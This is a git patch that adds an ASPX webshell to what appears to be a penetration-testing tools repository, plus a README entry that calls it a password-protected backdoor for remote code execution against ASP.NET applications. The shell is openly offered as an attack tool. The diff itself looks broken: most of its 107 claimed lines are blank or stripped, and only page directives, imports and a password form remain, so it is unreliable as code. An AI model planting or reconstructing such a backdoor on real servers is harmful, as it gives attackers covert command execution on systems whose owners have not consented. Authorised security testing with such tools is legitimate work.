From f816f66aae31a01abe0fa32ece8bf08070bc115c Mon Sep 17 00:00:00 2001 From: mb Date: Mon, 4 Feb 2019 11:11:11 -0500 Subject: [PATCH] Added webshell.aspx --- web/README.md | 1 + web/webshell.aspx | 107 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 108 insertions(+) create mode 100755 web/webshell.aspx diff --git a/web/README.md b/web/README.md index 24673cf..933b16b 100644 --- a/web/README.md +++ b/web/README.md @@ -141,6 +141,7 @@ Node('/None/Base64/URLEncoder', decoded='AAAA') - **`oRTC-leak-internal-ip.js`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/03f0871fb88c64b3d6d3a725c3ba38bf)) +- **`webshell.aspx`** - ASPX Backdoor / Webshell equipped with password-based authentication. To be used against ASP.NET applications during Penetration Testing assignments as a proof of concept. - **`xml-attacks.md`** - XML Vulnerabilities and Attacks cheatsheet. ([gist](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870)) diff --git a/web/webshell.aspx b/web/webshell.aspx new file mode 100755 index 0000000..8d24bf2 --- /dev/null +++ b/web/webshell.aspx @@ -0,0 +1,107 @@ +<%@ Page Language="C#" Debug="true" Trace="false" %> +<%@ Import Namespace="System.Diagnostics" %> +<%@ Import Namespace="System.IO" %> + + + + + ASPX Backdoor + + + + +

ASPX Backdoor.

+ You need to provide valid password in order to leverage RCE. +
+ coded by mgeeky +
+
+
+ + + + + + + + + + + + + +
+ Password: + + +
+ + + + +
+ + +
+
+
+ 

+    
+